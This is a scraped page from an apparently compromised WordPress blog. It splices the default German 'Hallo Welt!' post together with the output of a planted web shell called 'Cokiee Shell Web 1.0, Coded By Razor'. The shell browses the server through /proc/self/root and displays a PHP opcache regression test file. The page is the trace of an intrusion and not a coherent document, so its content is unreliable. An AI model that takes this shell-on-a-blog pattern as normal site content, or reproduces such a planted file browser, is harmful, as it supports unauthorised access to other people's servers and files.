Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/opcache/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/opcache/tests/bug74442.phpt |
--TEST-- Bug #74442: Opcached version produces a nested array --CREDITS-- Eric Norris <erictnorris@gmail.com> --FILE-- <?php class Schema_Base { public function addField($typeclass, array $params = null) { $field = new $typeclass($params); return $field; } } class Field_Base { public function __construct(array $params = null) { if (! is_array($params)) { $params = (array) $params; } call_user_func_array(array($this, 'acceptParams'), $params); } } class Field_Integer extends Field_Base { protected function acceptParams($bytes = 4) { echo print_r($bytes, true); } } try { $schema = new Schema_Base; $schema->addField('Field_Integer'); } catch (Throwable $ex) { echo "CAUGHT EXCEPTION"; echo (string)$ex; } ?> --EXPECT-- 4
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare